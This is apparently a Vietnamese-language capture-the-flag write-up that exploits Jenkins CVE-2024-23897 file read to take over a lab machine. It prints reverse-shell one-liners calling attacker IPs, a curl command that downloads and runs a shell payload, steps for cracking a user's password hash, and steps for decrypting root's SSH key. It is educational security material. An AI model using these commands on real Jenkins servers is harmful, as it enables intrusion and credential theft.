Machine info
Get started
Recon
- Scan các port đang mở
- Scan các service đang chạy tương ứng với các port
Dựa vào kết quả scan ta có thể thấy, machine này có 2 port đang mở gồm
- Port 22: SSH service
- Port 8080: HTTP service sử dụng Eclipse Jetty 10.0.18 là một Java web server và web app đang chạy trên service này là Jenkins server.
- Jenkins là một ứng dụng web mã nguồn mở được viết bằng Java, đóng vai trò máy chủ build & test của hệ thống tích hợp liên tục (CI). Jenkins có thể kết hợp được với hầu hết các công cụ khác của hệ thống tích hợp liên tục với nhiều nền tảng khác nhau. Ngoài ra, cộng đồng sử dụng Jenkins rất lớn nên cũng rất dễ trong việc sử dụng và hỗ trợ khi gặp khó khăn.
- Continuous Integration (CI) là quá trình tích hợp mã nguồn từ nhiều nhà phát triển vào một kho lưu trữ chung hàng ngày. Sau đó, hệ thống tự động xây dựng, kiểm thử và kiểm tra tích hợp. Mục tiêu của CI là giảm thiểu xung đột và lỗi hệ thống đo tích hợp mã nguồn.
Truy cập vào trang web ta vào được dashboard của Jenkins ở trạng thái chưa login.
- Để ý thấy phiên bản của Jenkins ở dưới góc màn hình. Google thử thì thấy được phiên bản này có 1 CVE về arbitrary file read thông qua Jenkins CLI - giao diện dòng lệnh (CLI) được tích hợp để truy cập Jenkins từ môi trường script hoặc shell.
CVE-2024-23897
CVE-2024-23897: Jenkins uses the args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an
@
character followed by a file path in an argument with the file’s contents (expandAtFiles
). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.
- Download Jenkins-CLI về để test.
- Tuy nhiên khi đọc file /etc/password chỉ trả về 1 dòng duy nhất. Đọc trên trang chủ thì biết được số dòng đọc được sẽ phụ thuộc vào CLI command.
- Viết 1 bash script ngắn để check command trả về output dài nhất
1 | java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help 2>&1 | awk '{if(NR%2==1) print $1}' | while read -r cmd; do |
- Vậy ta sẽ dùng command
connect-node
để khai thác.
Follow theo mô tả của bài lab giờ ta cần extract username và password hash của Jenkins user
jennifer
. → Cần tìm file chứa thông tin native user.
Setup
- Trước tiên cần pull docker jenkins về chạy để xem structure bên trong server.
1 | docker pull jenkins/jenkins |
- Dùng password được generate ở trong log để truy cập vào dashboard.
- Để ý thấy password của admin cũng sẽ được lưu ở
/var/jenkins_home/secrets/initialAdminPassword
, thử đọc file này nhưng kết quả trả về
- Tiếp tục setup
- Đăng ký một admin user
- Setup hoàn tất. Tiếp theo cần đọc về directory structure of the
JENKINS_HOME
tree trong Jenkins server để tiện vọc vạch.
Enumeration
- Khả năng cao password hash của user được lưu ở đây
- Trước tiên cần tìm được
JENKINS_HOME
- Trong Jenkins thông tin về native user account sẽ được lưu trong folder có tên trùng với username + chuỗi số ngẫu nhiên. Và file
users.xml
sẽ chứa thông tin về các users này
- Ngoài ra ở file
config.xml
trong user folder cũng sẽ chứa hash password của user tương ứng.
- Dùng
hashcat
để kiểm tra thuật toán sử dụng
Grab username and password hash
- Tiếp theo test trên server, tìm được user folder name
- Dump nội dung trong file
/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
rồi thử crack password với wordlistrockyou.txt
- Vậy ta có được username
jennifer
và passwordprincess
User flag
- Đăng nhập với account tìm được ở trên
- Khi đã có một valid account thì sau đó ta có nhiều thứ có thể khai thác. Target trước mắt cần RCE để lấy User flag. Dễ nhất thì sẽ sử dụng Groovy Script thông qua Jenkins Tool là Script Console.
- Thử reverse shell bằng payload
bash -i >& /dev/tcp/10.10.14.29/1337 0>&1
nhưng không thành công. Nên mình thử base64 encode để chuỗi chỉ gồm chữ và số.
1 | echo -n 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1 ' | base64 -w 0 |
- Có vẻ nó không nhận pipeline. Thử setup một server chứa file payload reserve shell.
1 | "curl -o /tmp/tmp.sh http://10.10.14.29:8888/tmp.sh && bash /tmp/tmp.sh'".execute().text |
- User flag
Root flag
- Với root flag, machine có gợi ý sử dụng SSH key để access root. Nên khả năng sẽ tìm SSH key của user root và từ đó có thể đăng nhập vào root user.
- Đọc thử file
credentials.xml
thì thấy được private key của user root đã được mã hoá (có vẻ dùng base64).
- Để decrypt key này thì ta cũng có 2 cách, vì đã access được Script Console nên sử dụng Groovy để decrypt luôn.
- Sử dụng key để SSH và ta có root
- Root flag
Other solution
- Đầu tiên khi đã có valid account access Jenkins server thì ngoài Groovy Script thì cũng còn những cách dưới đây
- Ngoài việc đọc secret key ở
credential.xml
thì ở chức năng update credential thì private key cũng được hidden ở DOM của web page.
- Để đọc được SSH key của root cũng có thể sử dụng Pipeline script.
References
[1] What's in the Jenkins Home Directory
[2] Configuring the Jenkins System
[3] Triển khai PoC Validating Jenkins cho lỗ hổng CVE-2024-23897
[4] Jenkins Security
[5] Jenkins CLI
[6] Internal Jenkins Abuses
[7] Jenkins Pipeline for beginners